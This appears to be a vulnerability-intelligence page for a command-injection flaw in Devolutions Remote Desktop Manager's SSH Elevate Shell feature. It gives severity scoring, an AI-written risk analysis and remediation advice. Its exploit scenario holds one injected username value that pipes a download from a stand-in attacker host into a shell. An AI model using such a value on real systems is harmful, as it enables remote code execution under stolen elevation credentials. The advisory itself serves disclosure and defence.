EUVD-2026-37023
GHSA-w469-xxf5-q946
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Requires authenticated RDM user with shared-entry edit rights (PR:L) and a second user clicking Elevate Shell (UI:R); injection is straightforward over the network with full C/I/A impact on the target host.
Primary rating from Vendor (DEVOLUTIONS).
CVSS VectorVendor: DEVOLUTIONS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionCVE.org
Improper input validation in the SSH Elevate Shell feature in Devolutions Remote Desktop Manager 2026.2.7 allows an authenticated user with permission to create or modify a shared SSH entry to execute arbitrary commands on a remote SSH host using stored elevation credentials via a crafted alternate username and user interaction with the Elevate Shell action.
AnalysisAI
OS command injection in the SSH Elevate Shell feature of Devolutions Remote Desktop Manager up to 2026.2.7 lets an authenticated user who can create or modify a shared SSH entry execute arbitrary commands on remote SSH hosts by smuggling shell metacharacters through a crafted alternate username, abusing stored elevation credentials they would not otherwise possess. No public exploit identified at time of analysis and EPSS is low (0.16%, 5th percentile), but the privilege-escalation angle - turning shared-entry write access into code execution under another user's sudo/elevation context - makes this attractive for insider or post-compromise abuse.
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Attacker must already be an authenticated RDM user whose role grants permission to create or modify a shared SSH entry that uses the Elevate Shell feature with stored elevation credentials. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Signals diverge: the CVSS 8.8 vector (AV:N/AC:L/PR:L/UI:N) paints this as easy network attack, but the description explicitly requires victim user interaction (clicking Elevate Shell) and shared-entry edit rights, which is closer to PR:L/UI:R - the official UI:N appears inconsistent with the prose and likely overstates severity. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | A junior operator with edit rights to a shared SSH entry in a corporate RDM vault inserts shell metacharacters into the entry's alternate-username field (e.g., `bob;curl attacker/x|sh`); when a senior admin later runs Elevate Shell against that host, RDM supplies the stored root elevation password and the injected payload runs as the elevated user on the target server. No public exploit identified at time of analysis, but the attack is straightforward given the low AC and the well-understood command-injection class. |
| Remediation | Upgrade Remote Desktop Manager to the fixed release referenced in Devolutions advisory DEVO-2026-0018 (https://devolutions.net/security/advisories/DEVO-2026-0018/); the input data does not include an exact fixed build number, so consult the advisory for the precise version above 2026.2.7. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Audit all user permissions for shared SSH entry creation and modification in RDM; restrict these capabilities to administrators only and document current version inventory across all deployments. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More in Remote Desktop Manager
View allImproper authentication in the vault password feature in Devolutions Remote Desktop Manager 2024.1.31.0 and earlier allo
Client side permission bypass in Devolutions Remote Desktop Manager 2023.3.4.0 and earlier on iOS allows an attacker tha
A remote code execution vulnerability in Remote Desktop Manager 2023.2.33 and earlier on Windows allows an attacker to r
Improper access control in the password analyzer feature in Devolutions Remote Desktop Manager 2023.2.33 and earlier on
Inadequate validation of permissions when employing remote tools and macros within Devolutions Remote Desktop Manager ve
Missing certificate validation in Devolutions Remote Desktop Manager on macOS, iOS, Android, Linux allows an attacker to
Authentication bypass in local application lock feature in Devolutions Remote Desktop Manager 2022.3.26 and earlier on W
Elevation of privilege in the Azure SQL Data Source in Devolutions Remote Desktop Manager 2022.3.13 to 2022.3.24 allows
An incomplete permission check on entries in Devolutions Remote Desktop Manager before 2021.2.16 allows attackers to byp
Improper host validation in the certificate validation component in Devolutions Remote Desktop Manager on 2024.3.19 and
Incorrect permission assignment in temporary access requests component in Devolutions Remote Desktop Manager 2024.3.19.0
Code injection in Remote Desktop Manager 2023.3.9.3 and earlier on macOS allows an attacker to execute code via the DYLI
Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today